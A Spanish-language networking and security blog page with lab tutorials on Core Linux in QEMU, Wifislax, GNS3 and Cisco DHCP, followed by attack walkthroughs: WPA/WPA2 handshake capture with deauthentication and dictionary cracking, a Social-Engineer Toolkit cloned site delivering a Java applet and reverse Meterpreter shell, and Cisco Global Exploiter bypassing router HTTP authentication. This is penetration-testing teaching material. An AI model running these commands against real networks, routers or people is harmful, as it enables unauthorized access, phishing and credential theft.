Seguridad y Redes

Tips & Video Tutoriales, Wifislax, VMware, GNS3, VirtualBox, CCNA, Cisco Routers & Switches, [ Programming ]

Linux Core en Qemu

Imágenes ISO de Linux Core Live x86 o x86-64 se pueden descargar de su pagina la versión mas reciente es el Core 6.4.1.

Creación de la imagen Qemu
$ qemu-img.exe create -f qcow2 LinuxCore.img 300M
Iniciar Qemu con la imagen ISO Live de Core Linux
$ qemu-system-i386w.exe -boot d -cdrom Core-6.4.1.iso -hda LinuxCore.img
Instalacion de Syslinux Extensions
$ tce-load -wi syslinux
Creación de una nueva Particion Ext4
$ sudo fdisk /dev/sda

n - Agregar particion
p - Particion primaria
Partition number (1-4): 1
First cylinder (1-25, default 1): ENTER
Last cylinder (1-25, default 25): ENTER
a - bootable flag
Partition number (1-4): 1
w - guardar la tabla de particion y salir

$ mkfs.ext4 /dev/sda1


Instalar el Boot Sector
$ dd if=/usr/local/share/syslinux/mbr.bin of=/dev/sda
Reconstruir /etc/fstab y Montar la Particion /dev/sda1
$ sudo rebuildfstab
$ mount /mnt/sda1
Montar el CDROM y copiar los archivos core.gz y vmlinuz a /mnt/sda1/boot
$ sudo mkdir -p /mnt/sda1/boot/extlinux
$ mount /mnt/sr0
$ sudo cp -p /mnt/sr0/boot/* /mnt/sda1/boot
Instalar el Boot Loader
$ sudo extlinux --install /mnt/sda1/boot/extlinux
Creación del Archivo extlinux.conf
$ sudo vi /mnt/sda1/boot/extlinux/extlinux.conf

DEFAULT core
LABEL core
KERNEL /boot/vmlinuz
APPEND initrd=/boot/core.gz quiet
Creación de directorios
$ sudo mkdir /mnt/sda1/tce
$ sudo chown tc:staff /mnt/sda1/tce
$ touch /mnt/sda1/tce/mydata.tgz
Apagar Linux Core

Despues de apagar Linux Core ingresar desde consola
$ qemu-system-i386w.exe -boot c -hda LinuxCore.img
Habilitar en Linux Core la redirección al Puerto Serial
default core
label core
kernel /boot/vmlinuz console=ttyS0,38400n8
        append initrd=/boot/core.gz quiet
Extaer el archivo core.gz
$ mkdir -p /home/tc/temp/extract
$ sudo cp /mnt/sda1/boot/core.gz /home/tc/temp/
$ cd /home/tc/temp/extract/

$ zcat ../core.gz | sudo cpio -i -H newc -d
Desabilitar Autologin para tty1 y agregar ttyS0
$ sudo vi /etc/inittab

#tty1::respawn:/sbin/getty -nl /sbin/autologin 38400 tty1
tty1::respawn:/sbin/getty 38400 tty1
ttyS0::respawn:/sbin/getty 38400 ttyS0

Personalizar entrada al sistema
$ sudo vi /etc/issue

Bienvenido a Core Linux

Username "tc", password no establecido
Editar /etc/securetty y permitir acceso al Puerto Serial ttyS0
Descomentar la linea #ttyS0
$ sudo vi ./etc/securetty

ttyS0
Pack File core.gz
$ sudo su
$ cd /home/tc/temp/extract/

$ find | cpio -o -H newc | gzip -2 > /mnt/sda1/boot/core.gz

$ cd /home/tc
$ rm -rf /home/tc/temp

Guardar cambios de configuración de Linux Core

Por default al reiniciar Linux Core no se guardan los cambios realizados, para guardar los cambios que se realicen se debe editar el scrpt /opt/bootlocal.sh el cual se ejecuta en cada inicio de la maquina virtual. El único editor que viene instalado en Linux Core es el editor vi, para editar el script bootlocal.sh ingresar el siguiente comando.
$ sudo vi /opt/bootlocal.sh
Por ejemplo si desea mantener la dirección IP para la interface eth0 con la direccion 10.1.1.1/24 y el nombre de host sea labs, añadir las siguientes líneas a este archivo.
sudo hostname labs
sudo ifconfig eth0 10.1.1.1 netmask 255.255.255.0 up

Ejemplo de guardar cambios en los directorios.
sudo vi /opt/.filetool.lst
/etc/inittab
/etc/issue
/etc/securetty
Una vez guardado los cambios en vi, se tendrá que guardar esta configuración mediante otro script llamado filetool.sh, para guardar cambios ejecutar el siguiente comando:
$ filetool.sh -b
Otros comandos utiles para utilizar.

sudo reboot
sudo poweroff

Apagar Core Linux Qemu y verificar.

$ sudo poweroff

Una vez apagado Core Linux Ingresar el siguiente comando para verificar
$ qemu-system-i386w.exe -boot c -hda LinuxCore.img -serial telnet:0.0.0.0:3000,server,nowait
Una vez iniciado Core Linux ejecutar el siguiente comando desde consola.
$ telnet localhost 3000



Como crear un LiveUSB de Wifislax 4.11.1

WifiSlax es una distro GNU/Linux que se ejecuta en modo Live, es decir; no se instala físicamente en el disco duro, sino que se bootea desde un CD/DVD. Está pensada y diseñada para la auditoria de seguridad y relacionada con la seguridad informática en general e incluye una gran variedad de herramientas listas para ser utilizar. Hoy vamos a ver cómo crear un LiveUSB a partir de la imagen ISO.

Herramientas a Utilizar.
  • Imagen ISO de Wifislax.
  • Memoria USB de al menos 2 Gigas.
El primero paso que tenemos que hacer es descargar la ISO de WifiSlax desde su página oficial.

Nombre archivo: wifislax-4-11-1-final.iso 1.09 GB
Hash MD5: dd00c7cca12ab7bb7de76aeb73fd2565

Opciones de descarga:
El paso siguiente es preparar la memoria USB que vamos a utilizar, debemos de formatear con formato FAT32. Una vez descargado el Wifislax descomprimir el archivo de imagen ISO con algún descompresor (ejemplo Winrar) o el que utilicen habitualmente. Al terminar de descomprimir creara dos carpetas, una llamada Boot y la otra Wifislax. El siguiente paso será copiar estas dos carpetas a la memoria USB.

Una vez copiados las dos carpetas en la memoria usb, iremos a la carpeta Boot de la memoria usb y ejecutaremos el archivo llamado Wifislax Boot Installer.
 Wifislax Boot Installer.

Ejecutado el archivo nos aparecerá un mensaje de consola que nos pedirá la confirmación, ingresamos la tecla "s" para confirmar.


Con esto ya podremos arrancar Wifislax desde el USB. Por si tienen activado la UEFI es necesario desactivarlo desde la Bios para poder iniciar desde la USB y también deben asegurarse iniciar desde la USB como primera opción de arranque.


 Al iniciar con el LiveUSB nos aparecerá un menú donde podremos elegir varios modos de arranque, si tenemos menos de 4 GB de RAM seleccionamos “Arrancar con kernel NORMAL” y si cuenta con más memoria de la mencionada sería la opción de “Arrancar con kernel PAE”.

A continuación, podemos elegir entre KDE y Xfce como entorno gráfico.

Esperamos un poco y listo ya podremos utilizar el Wifislax desde la memoria USB.


Usuario: root
Pass: toor

Qemu & GNS3 en Ubuntu 12.10

Primero instalar algunas aplicaciones necesarias.
root@cisco:/home/delfi# apt-get update
root@cisco:/home/delfi# apt-get install libpcap-dev
root@cisco:/home/delfi# apt-get install build-essential libssl-dev uuid-dev zlib1g-dev libncurses5-dev libx11-dev

Segundo, creamos carpetas y asignamos permisos

root@cisco:/home/delfi# mkdir GNS3
root@cisco:/home/delfi# chmod 777 GNS3
root@cisco:/home/delfi# cd GNS3
root@cisco:/home/delfi/GNS3# mkdir Dynamips
root@cisco:/home/delfi/GNS3# mkdir IOS
root@cisco:/home/delfi/GNS3# mkdir Proyectos
root@cisco:/home/delfi/GNS3# mkdir Capturas
root@cisco:/home/delfi/GNS3# mkdir working
root@cisco:/home/delfi/GNS3# mkdir qemu
root@cisco:/home/delfi/GNS3# chmod 777 Dynamips
root@cisco:/home/delfi/GNS3# chmod 777 IOS
root@cisco:/home/delfi/GNS3# chmod 777 Proyectos
root@cisco:/home/delfi/GNS3# chmod 777 Capturas
root@cisco:/home/delfi/GNS3# chmod 777 working
root@cisco:/home/delfi/GNS3# chmod 777 qemu

Luego descargamos GNS3 v0.8.3.1 en su versión mas reciente, descomprimos y asignamos permisos.
root@cisco:/home/delfi/GNS3# wget http://voxel.dl.sourceforge.net/project/gns-3/GNS3/0.8.3.1/GNS3-0.8.3.1-src.tar.gz
root@cisco:/home/delfi/GNS3# tar -xvzf GNS3-0.8.3.1-src.tar.gz
root@cisco:/home/delfi/GNS3# chmod 777 GNS3-0.8.3.1-src
root@cisco:/home/delfi/GNS3# cd GNS3-0.8.3.1-src
root@cisco:/home/delfi/GNS3/GNS3-0.8.3.1-src# chmod 777 *.*
root@cisco:/home/delfi/GNS3/GNS3-0.8.3.1-src# cd ..
root@cisco:/home/delfi/GNS3# ls
Capturas  Dynamips  GNS3-0.8.3.1-src  GNS3-0.8.3.1-src.tar.gz  IOS  Proyectos  qemu

Realizamos lo mismo con Dynamips.
root@cisco:/home/delfi/GNS3# cd Dynamips/
root@cisco:/home/delfi/GNS3/Dynamips# wget http://voxel.dl.sourceforge.net/project/gns-3/Dynamips/0.2.8-RC3-community/dynamips-0.2.8-RC3-community-x86.bin
root@cisco:/home/delfi/GNS3/Dynamips# chmod 77 dynamips-0.2.8-RC3-community-x86.bin
root@cisco:/home/delfi/GNS3/Dynamips# cd ..
root@cisco:/home/delfi//GNS3# ./gns3

Configuración de Dynamips en GNS3.
Configuración de Qemu
Ahora toca configurar Qemu
root@cisco:/home/delfi/GNS3# cd qemu
root@cisco:/home/delfi/GNS3/qemu# wget http://download.savannah.gnu.org/releases/qemu/qemu-0.11.0.tar.gz
root@cisco:/home/delfi/GNS3/qemu# tar xvzf qemu-0.11.0.tar.gz
root@cisco:/home/delfi/GNS3/qemu# ls
qemu-0.11.0  qemu-0.11.0.tar.gz
root@cisco:/home/delfi/GNS3/qemu# cd qemu-0.11.0
root@cisco:/home/delfi/GNS3/qemu/qemu-0.11.0# wget http://voxel.dl.sourceforge.net/project/gns-3/Qemu/qemu-0.11.0-olive.patch
root@cisco:/home/delfi/GNS3/qemu/qemu-0.11.0# patch -p1 -i qemu-0.11.0-olive.patch
patching file Makefile.target
patching file configure
patching file hw/e1000.c
patching file hw/eepro100.c
patching file net.c
patching file qemu-options.hx
root@cisco:/home/delfi/GNS3/qemu/qemu-0.11.0# ./configure --target-list=i386-softmmu
root@cisco:/home/delfi/GNS3/qemu/qemu-0.11.0# make
root@cisco:/home/delfi/GNS3/qemu/qemu-0.11.0# make install

Averiguamos donde se encuentra qemu y qemu-img con el comando which.
root@cisco:/home/delfi/GNS3/qemu/qemu-0.11.0# which qemu
/usr/local/bin/qemu
root@cisco:/home/delfi/GNS3/qemu/qemu-0.11.0# which qemu-img
/usr/local/bin/qemu-img
root@cisco:/home/delfi/GNS3/qemu/qemu-0.11.0#
Finalmente la configuración de Qemu en GNS3 debe quedar como se muestra en la siguiente imagen.

Configuración de Qemu en GNS3.

Configuración de Linux Microcore en GNS3.

Descargamos Linux Microcore (linux-microcore-3.8.2.img) del siguiente enlace.
http://sourceforge.net/projects/gns-3/files/Qemu%20Appliances/
Una vez que hallamos descargado la imagen, el siguiente paso es abrir GNS3 y dirigirmos al Menú.
Edit > Preferences > Qemu > Qemu Guest

Finalmente quedaría como se muestra a continuación.

Configuración de Linux Microcore en GNS3.


Simple Lab

Arrastramos un Router y Quemu Guest al area de trabajo de GNS3, realizamos las conexiones y luego los inicializamos. Primero le configuramos al Router una dirección IP y habilitamos la interface.
R1#conf t
R1(config)#int f0/0      
R1(config-if)#ip add 192.168.10.1 255.255.255.0
R1(config-if)#no shut
R1(config-if)#end
R1#show ip int brief
Interface                  IP-Address      OK? Method Status                Protocol
FastEthernet0/0            192.168.10.1    YES manual up                    up    
FastEthernet0/1            unassigned      YES unset  administratively down down  
R1#

Realizamos lo mismo con Linux Microcore.
Micro Core Linux
box login: login[1451]: root login on 'tty1'

Micro Core Linux
box login: root
Password: root

tc@box:~$ sudo su
root@box:~# ifconfig eth0 192.168.10.2 netmask 255.255.255.0 up
root@box:~# ifconfig eth0
eth0      Link encap:Ethernet  HWaddr 00:AB:29:8C:3E:00
          inet addr:192.168.10.2  Bcast:192.168.10.255  Mask:255.255.255.0
          inet6 addr: fe80::2ab:29ff:fe8c:3e00/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:36 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:10278 (10.0 KiB)

Finalmente realizamos una prueba de conectividad.
R1#ping 192.168.10.2

Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 192.168.10.2, timeout is 2 seconds:
.!!!!
Success rate is 80 percent (4/5), round-trip min/avg/max = 8/11/12 ms
R1#

root@box:~# ping 192.168.10.1
PING 192.168.10.1 (192.168.10.1): 56 data bytes
64 bytes from 192.168.10.1: seq=0 ttl=255 time=13.310 ms
64 bytes from 192.168.10.1: seq=1 ttl=255 time=11.636 ms
64 bytes from 192.168.10.1: seq=2 ttl=255 time=3.861 ms

Configuración de un Router Cisco como un Servidor DHCP

  • Configuramos una IP a la interface del Servidor
  • Definimos el nombre del Servidor
  • Establecemos el rango de direcciones IPs de la red
  • Definimos la puerta de enlace
  • Define el servidor de nombres DNS
  • Establecemos la dirección(es) dentro del rango que no se debe de asignar
Topologia en GNS3
Servidor DHCP
Server_DHCP#conf t
Server_DHCP(config)#int f0/0
Server_DHCP(config-if)#ip add 192.168.1.1 255.255.255.0
Server_DHCP(config-if)#no shut
Server_DHCP(config-if)#exit
Server_DHCP(config)#ip dhcp pool delfirosales
Server_DHCP(dhcp-config)#network 192.168.1.0 255.255.255.0
Server_DHCP(dhcp-config)#default-route 192.168.1.1
Server_DHCP(dhcp-config)#dns-server 192.168.1.1
Server_DHCP(dhcp-config)#exit
Server_DHCP(config)#ip dhcp excluded-address 192.168.1.1
Configuración en SW, R1, R2
RX#conf t
RX(config)#int f0/0
RX(config-if)#no shut
RX(config-if)#ip address dhcp
RX(config-if)#

*Mar  1 00:00:51.203: %DHCP-6-ADDRESS_ASSIGN: Interface FastEthernet0/0 assigned DHCP address 192.168.1.3, mask 255.255.255.0, hostname R2

Qemu Host (Microcore) utiliza la utilidad udhcpc como cliente dhcp.
Para verificar que se esta ejecutando udhcpc, utilizar el siguiente comando.

ps | grep udhcpc

1649  root  /sbin/udhcpc -b -i eth0 -h box -p /var/run/udhcpc.eth0.pid
1663  root  greep udhcpc

Qemu Host (Microcore) automáticamente detecta la IP.
Por ultimo verificamos.
Server_DHCP#show ip dhcp binding      
Bindings from all pools not associated with VRF:
IP address          Client-ID/              Lease expiration        Type
               Hardware address/
               User name
192.168.1.2         0063.6973.636f.2d63.    Mar 02 2002 12:05 AM    Automatic
               3230.362e.3232.3134.
               2e30.3030.302d.4661.
               302f.30
192.168.1.3         0063.6973.636f.2d63.    Mar 02 2002 12:09 AM    Automatic
               3230.372e.3232.3134.
               2e30.3030.302d.4661.
               302f.30
192.168.1.4         0063.6973.636f.2d63.    Mar 02 2002 12:09 AM    Automatic
               3230.332e.3232.3134.
               2e30.3030.302d.566c.
               31
192.168.1.5         0100.aa00.fa9f.00       Mar 02 2002 12:12 AM    Automatic
Server_DHCP#show ip dhcp pool         

Pool delfirosales :
Utilization mark (high/low)    : 100 / 0
Subnet size (first/next)       : 0 / 0
Total addresses                : 254
Leased addresses               : 4
Pending event                  : none
1 subnet is currently in the pool :
Current index        IP address range                    Leased addresses
192.168.1.6          192.168.1.1      - 192.168.1.254     4
Server_DHCP#

Server_DHCP#show run

!
!
no ip dhcp use vrf connected
ip dhcp excluded-address 192.168.1.1
!
ip dhcp pool delfirosales
network 192.168.1.0 255.255.255.0
default-router 192.168.1.1
dns-server 192.168.1.1
!

Agregar Qemu Host (MicroCore) en GNS3

Qemu Host es una imagen de linea de comando CLI (Microcore) o bien una imagen GUI (Tinycore). Es básicamente una pequeña imagen de Linux que puede ser utilizado para realizar algunas tareas básicas de conectividad como por ejemplo telnel, ssh, route iptables, tcpdump y también soporta IPV6. En este pequeño tutorial se mostrara el proceso de como agregar la imagen de Qemu Host a GNS3.

Herramientas
1. Lo primero que haremos es abrir GNS3 y nos vamos a la opcion de Qemu Host.
Editar - Preferencias - Qemu - Qemu Host
2. Configuramos la topologia de Red

3.Iniciamos el Switch y le configuramos una IP para realizar una prueba de conectividad.

4. Iniciamos Qemu Host y le configuramos una IP.

5. Realizamos la conectividad entre el Switch y Qemu host.

Configurar Default Gateway en Qemu
route add default gw 10.10.10.1
Video Tutorial GNS3: Agregar Qemu Host (MicroCore)

Vídeo Online
http://www.youtube.com/watch?v=6hc5A_qKUGY

Cracking WPA/WPA2 con CoWPAtty & Aircrack-ng

Aunque WPA (Wi-Fi Protected Access) es más seguro que WEP (Wired Equivalent Privacy), en el instante inicial en que la conexión se establece, WPA es más vulnerable que WEP ya que es necesario capturar un menor número de frames (solo es necesario capturar un total de 4 frames del handshake intercambiadas entre el cliente y el punto de acceso para llevar el descubrimiento de claves) para obtener la clave inicial de cifrado mediante ataques de diccionario.

WPA es vulnerable a un ataque de diccionario y para este ataque es necesario el obtener el 4 way handshake entre el cliente y el punto de acceso. Es necesario también un wordlist o diccionario de palabras. Luego, utilizando herramientas como CoWPAtty y Aircrack-ng intentar obtener la clave pre compartida de WPA/WPA2.

CoWPAtty fue creado por Joshua Wright http://www.willhackforsushi.com/?page_id=50 y tiene todas las características que uno podría desear de una buena herramienta sin salir de su propósito. Esta herramienta es para automatizar el ataque de diccionario a las redes WPA-PSK y es muy sencillo de utilizar. Lo primero que haremos es lanzara airodump-ng para seleccionar un objetivo.
root@bt:~# airodump-ng mon0
En buscando de un Objetivo.

Tal como podemos ver en la imagen anterior, hay dos clientes conectados a la red "Wireless" y tiene encriptación WPA, con cifrado TKIP. Ahora lo que haremos es lanzar airodump-ng para que escuche en el canal donde esta transmitiendo el punto de acceso que tenemos como objetivo, en este caso "Wireless" que esta transmitiendo en el canal 11 y despues lanzar el "Ataque 0 Deautenticación" para desautenticar a un cliente y así obtener el 4 way handshake.
root@bt:~# airodump-ng --channel 11 --bssid FX:XX:XX:XF:AB:7C --write wpademo mon0
Para obtener la captura completa de 4 frames del handshake, es necesario que haya al menos un cliente conectado o esperar a que un cliente se conecte (esto si eres muy paciente :D). Si hay un cliente conectado lo que se hará es realizar el ataque “-–deauth” o también conocido como “ataque 0” utilizando aireplay-ng y lo que sucederá aquí es, que desasociaremos al cliente conectado actualmente al punto de acceso y cuando se vuelve a conectar obtendremos los 4 frames del handshake. El detalle es que si no hay clientes conectados al punto de acceso, no podremos obtener la clave WPA ya que es necesario que haya clientes conectados o esperar que alguien se conecte al AP para la obtención del four-way handshake.

Bueno en mi caso lo que hare es desautenticar el cliente con direccion MAC "0C:XX:76:XX:D5:5B" del ESSID "Wireless".
root@bt:~# aireplay-ng --deauth 1 -a FX:XX:XX:XF:AB:7C -c 00:60:76:71:D5:5B mon0

Desautentificación de un cliente wifi.

He desasociado al cliente del punto del acceso, ahora el cliente lo que hará es volver a reautenticarse y es entonces cuando obtendremos los 4 paquetes del handshake. En la reautenticación se generarán los 4 paquetes de autenticación (handshake) en los que estamos interesados en capturar. Después estos paquetes los usaremos para intentar obtener la clave precompartida WPA/WPA2.

Bueno ahora pongan atención en la siguiente imagen donde se muestra una sesión de airodump-ng y en la parte superior de la imagen se muestra un mensaje "WPA handshake F4:C7:14:6F:AB:7". El four-way handshake ha sido capturado.

Four-way handshake capturado.

Tal y como se muestra en la imagen anterior, hemos obtenido los 4 paquetes handshake. Estos cuatro paquetes como lo mencionamos anteriormente los utilizaremos para obtener la clave WPA/WPA2 precompartida. Para esto necesitaremos un wordlist o diccionario de palabras, el cual contiene la contraseña de WPA/WPA2-PSK.

Antes de pasar al siguiente paso, ahora lo que haremos es detener airodump-ng y abriremos el archivos ".cap" capturado con Wireshark para ver el “four-way handshake”. El archivo debe ser algo similar a la siguiente captura.

EAPOL Key

Bueno ahora lo que haremos es empezar el crackeo, para esto necesitaremos un wordlist y es aquí donde entra en juego CoWPAtty. Debemos de indicarle a CoWPAtty la ruta donde tenemos el wordlist o diccionario de palabras, también la captura del four-way handshake y por ultimo el SSID de la red wifi, que en este caso es "Wireless". Básicamente lo que hara CoWPAtty es ir comprobando cada una de esas palabras que contiene el diccionario si coincide con la clave. Este proceso todo será dependiendo de la velocidad de nuestro CPU, también de la calidad y el tamaño del diccionario de palabras (wordlist), esto puede llevar bastante tiempo, incluso días o años jeje si eres impaciente puedes esperar :D. Bueno Lanzamos CoWPAtty desde consola.
root@bt:~# cowpatty -r wpademo-02.cap -f /pentest/passwords/john/password.lst -2 -s Wireless
El Crackeo con CoWPAtty ha tenido éxito.

Para especificar nuestro diccionario de palabras lo hacemos con el parámetro –f (-f /pentest/passwords/john/password.lst), el SSID con el parámetro –s (-s Wireless) y el archivo capturado con el parámetro –r (-r wpademo-02.cap). El ultimo parámetro -2, es el modo no estricto, esto se requiere cuando no tenemos capturados los 4 frames del handshake, es decir el paquete completo. Por cierto una opción bastante buena.

En este ejemplo he utilizado un diccionario de palabras que lo trae incluido BackTrack de John the Ripper, el archivo se encuentra en el directorio /pentest/passwords/john/password.lst

Es importante comentar que para el crackeo de WPA debemos de tener un muy buen diccionario de palabras. La distribución de BackTrack incluye unos cuantos diccionarios pero estos puede que no sean suficientes, para esto deben de buscar en Google o igual existen generadores de palabras que automatizan este proceso de generar diccionarios.

Ahora veamos un ejemplo final utilizando Aircrak-ng. Vamos a especificar la ruta de nuestro diccionario con el parámetro –w (-w /pentest/passwords/john/password.lst) y nuestro archivo de captura (wpademo-02.cap).
root@bt:~# aircrack-ng -w /pentest/passwords/john/password.lst wpademo-02.cap
Aircrack-ng en Acción.

Para el crackeo de WPA2 el proceso es el mismo, no hay diferencia. También hay que tener muy en cuenta de que al tratarse de un ataque de diccionario el requisito previo es que la contraseña debe estar en el diccionario de palabras que le estamos indicando, si la frase u contraseña no se encuentra en el diccionario, el ataque no tendrá éxito.

Vector de Ataque Web con Social-Engineer Toolkit (SET)

Social-Engineer Toolkit (SET) es un conjunto de colección de scripts en Python especialmente diseñadas para realizar ataques de ingeniería social en procesos de auditorias de seguridad. Esta herramienta fue creada por David Kennedy (ReL1K), el mismo creador de otra herramienta muy popular llamada Fast-Track, que también es una herramienta que automatiza algunos ataques más comunes y más usados en las pruebas de penetración (penetration test) mediante algunos scripts hechos en Python.

Social-Engineer Toolkit (SET) nos permite crear archivos PDF, sitios web falsos y enviar correos electrónicos con código malicioso incrustado, por cierto también se integra con el Metasploit Framework.

Como bien sabran y se han dado cuenta, la ingeniería social no es nada nuevo, los ataques de ingeniería social están ahora en su punto más alto, es decir en pleno auge y siempre han sido un gran riesgo para muchas organizaciones. Una persona que esta tratando de convencer a otras personas para que realicen actos que normalmente no harian es muy antigua como la misma historia de la tierra :D

Muchos creen que la ingeniería social es uno de los mayores riesgos que enfrentan las organizaciones actualmente, ya que es muy difícil proteger a las organizaciones de estos ataques. Por ejemplo puede que se acuerden del ataque a Google, del llamado “Operación Aurora” (también conocida como Comele o Hydraq) en el que la técnica de ingeniería social fue utilizada para atacar a Gmail y otras fuentes de Google.

Un vector de ataque es la vía que se utiliza para obtener información o acceso a un determinado sistema y la herramienta Social-Engineer Toolkit (SET) clasifica a los ataques por vectores de ataques web, correo, electrónico y también los ataques basados en USB. Utiliza correo electrónico, sitios web falso y otros vectores que típicamente lo que hacen es engañar a los usuarios a comprometer la información sensible. Cada vector puede tener éxito o todo lo contrario, dependiendo del objetivo a atacar y también el tipo de comunicación utilizada. SET también viene con correos electrónicos y plantillas de páginas web ya predefinidas que pueden ser utilizadas para los ataques de ingeniería social, también utiliza la herramienta Metasploit Framework. Así que en este post se mostrara un ejemplo de vector de ataque basado en web, manos a la obra y listos para la primera prueba.

Herramientas Utilizadas

Instalación de Social Engineer Toolkit (SET)

La instalación de SET es sencilla, lo que necesitamos es tener instalado Phyton y Metasploit Framework, ambas herramientas están instaladas en la distribución de BackTrack y no hay que preocuparnos por nada sobre cosas de la configuración e instalación, solo tenemos que tener actualizados a las versiones más recientes. Pero si requieren instalarlo en alguna otra distribución diferente, solo abrir la consola y teclear o copiar el siguiente comando.
svn co http://svn.secmaniac.com/social_engineering_toolkit set/
Después de ejecutar el comando anterior, tendremos un nuevo directorio que contiene todas herramientas necesarias para la ejecución de Social-Engineer Toolkit (SET).

Ejecutando Social-Engineer Toolkit (SET)

Para ejecutar SET es un proceso sencillo, ya que solo tenemos que abrir una terminal o consola y simplemente tenemos que teclear ./set. Bueno lo primero tenemos que estar en el directorio donde tenemos la herramienta, en BackTrack se encuentra en el directorio /pentest/exploits/set/. Lo haremos de la siguiente manera.
root@bt:~# cd /pentest/exploits/set/
root@bt:/pentest/exploits/set# ls
config modules readme reports set set-automate set-proxy set-update setup.py set-web src
root@bt:/pentest/exploits/set# ./set
Ejecución de Social-Engineer Toolkit (SET).

El comando ./set inicia la ejecución de SET y nos muestra el menú inicial. En este post veremos un ejemplo de un vector de ataque basado en web, clonando un sitio web y utilizando el método de ataque de Java Applet.

Website Attack Vectors

Los vectores de ataque web son probablemente uno de los aspectos más avanzados e interesantes de esta herramienta ya que están especialmente diseñados para ser de un aspecto muy creíble y de una apariencia muy atractiva para la víctima. Esta herramienta puede clonar sitios web que son idénticos a los sitios de confianza que normalmente visita un usuario normal, esto asegura a la víctima de que aparentemente está visitando un sitio legítimo.

Java Applet Attack

Uno de los ataques basados en un sitio web que tienes disponible Social-Engineer Toolkit (SET), es el ataque de Java Applet (Java Applet Attack), es uno de los vectores de ataque más exitoso de esta herramienta. Este ataque malicioso lo que hace es mostrar un applet de Java en el navegador web invitando a que el usuario de clic, en este caso a ejecutar el applet. Este ataque no se considera una vulnerabilidad de Java.

Para ejecutar este ataque en el menú principal de SET debemos primero elegir la opción 2, Website Attack Vectors. Al elegir la esta opción, nos mostrara en consola las siguientes opciones.

1) Java Applet Attack Method
2) Metasploit Browser Exploit Method
3) Credential Harvester Attack Method
4) Tabnabbing Attack Method
5) Man Left in the Middle Attack Method
6) Web Jacking Attack Method
7) Multi-Attack Web Method
8) Create or import a CodeSigning Certificate

Java Applet Attack Method

Elegimos la opción 1, Java Applet Attack Method y nos mostrara lo siguiente.


Elegimos la opción que 1 o 2, en mi caso la opción 2 donde pongo el sitio a clonar, en mi caso puse mi blog, delfirosales.blogspot.com y se generara la clonación del sitio.

Hemos creado un servidor de alojamiento con un sitio web clonado en este caso, el sitio es mi blog delfirosales.blogspot.com.
En el siguiente paso dependiendo del escenario u objetivo elegimos la opción adecuada, en mi caso realice la prueba con la opción 2, Windows Reverse_TCP Meterpreter.


Después elegimos el backdoor, en mi caso elegí la opción 16, Backdoored Executable (BEST), elegimos el puerto, esperamos a que se genere la configuración y esperamos a que cargue Metasploit Framework.


Ahora que tenemos todo listo, solo tenemos que tener un objetivo a atacar para que navegue a través del sitio malicioso. Al llegar a la pagina web, la victima se le mostrar una advertencia pop-up tal como se muestra en la siguiente figura.


Si la victima da clic en Ejecutar (que por cierto la mayoría de los usuarios la hacen) el exploit será ejecutado y con esto tendremos acceso y el control total del sistema de la victima, en este caso la maquina con Windows XP SP3, tal y como se muestran en las siguientes imágenes.


De vuelta en nuestro equipo atacante, la sesión de Meterpreter se ha establecido correctamente y ahora tenemos el acceso a la maquina de la victima, tal como se muestra.


Referencias:
Computer Based Social Engineering Tools: Social Engineer Toolkit (SET)
Social Engineering: The Art of Human Hacking
Penetration Tester's Open Source Toolkit, Third Edition

Cisco Global Exploiter

Cisco Global Exploiter (CGE) es un pequeño script hecho en Perl que combina 14 vulnerabilidades individuales que pueden ser contrastadas con los dispositivos Cisco. Es importante señalar que estas vulnerabilidades representan a sólo un conjunto específico de los equipos Cisco y esta pequeña herramienta no está completamente diseñada para realizar una evaluación de todas las necesidades de seguridad de estos equipos.

Para abrir Cisco Global Exploiter lo podemos hacer desde la terminal.

cd /pentest/cisco/cisco-global-exploiter/
./cge.pl

Usage :
perl cge.pl  

Vulnerabilities list :
[1] - Cisco 677/678 Telnet Buffer Overflow Vulnerability
[2] - Cisco IOS Router Denial of Service Vulnerability
[3] - Cisco IOS HTTP Auth Vulnerability
[4] - Cisco IOS HTTP Configuration Arbitrary Administrative Access Vulnerability
[5] - Cisco Catalyst SSH Protocol Mismatch Denial of Service Vulnerability
[6] - Cisco 675 Web Administration Denial of Service Vulnerability
[7] - Cisco Catalyst 3500 XL Remote Arbitrary Command Vulnerability
[8] - Cisco IOS Software HTTP Request Denial of Service Vulnerability
[9] - Cisco 514 UDP Flood Denial of Service Vulnerability
[10] - CiscoSecure ACS for Windows NT Server Denial of Service Vulnerability
[11] - Cisco Catalyst Memory Leak Vulnerability
[12] - Cisco CatOS CiscoView HTTP Server Buffer Overflow Vulnerability
[13] - 0 Encoding IDS Bypass Vulnerability (UTF)
[14] - Cisco IOS HTTP Denial of Service Vulnerability
root@delfi:/pentest/cisco/cisco-global-exploiter#
Opciones Cisco Global Exploiter.

En la imagen anterior se muestran las opciones y las instrucciones de uso de esta mini herramienta, también muestra una lista de 14 vulnerabilidades en un orden definido. De la lista de vulnerabilidades tomaremos un ejemplo para realizar una prueba contra un equipos cisco modelo 2600, así que lanzamos la prueba desde consola con el siguiente comando.

root@delfi:/pentest/cisco/cisco-global-exploiter# ./cge.pl 192.168.1.75 3
Vulnerability unsuccessful exploited ...

Vulnerability successful exploited with [http://192.168.1.75/level/18/exec/....]

Vulnerability Successful Exploited.

En este caso, la prueba se ha realizado utilizando la opción [3] - Cisco IOS HTTP Auth Vulnerability y como podemos ver la vulnerabilidad ha sido explotada con éxito.

Acceso al Router 2600 de nombre R2_WAN.

Ahora desde el explorador podemos ejecutar comandos del router sin ningún tipo de autenticación.

Password Brute Force con Cisco Auditing Tool

Cisco Auditing Tool (CAT) es una mini herramienta de auditoría de seguridad. Analiza las vulnerabilidades mas comunes de los routers Cisco, como las contraseñas por defecto, las cadenas de comunidad SNMP y algunos de los antiguos errores del IOS. Incluye tambien soporte para demás plugins y el escaneo de múltiples hosts.

En BackTrack para iniciar la herramienta Cisco Auditing Tool nos vamos al menú Aplications - BackTrack - Vulnerability Assessment - Network Assessment - Cisco Tools. Una vez que la ventana de la consola se haya cargado correctamente, podremos mirar todas las opciones posibles que podemos utilizar en contra del nuestro objetivo.

Cisco Auditing Tool en BackTrack.

En caso de que decidamos utilizar la herramienta directamente desde la terminal, lo podemos realzar de la siguiente manera.

cd /pentest/cisco/cisco-auditing-tool/
./CAT --help

Y lo anterior nos mostrara lo siguiente.
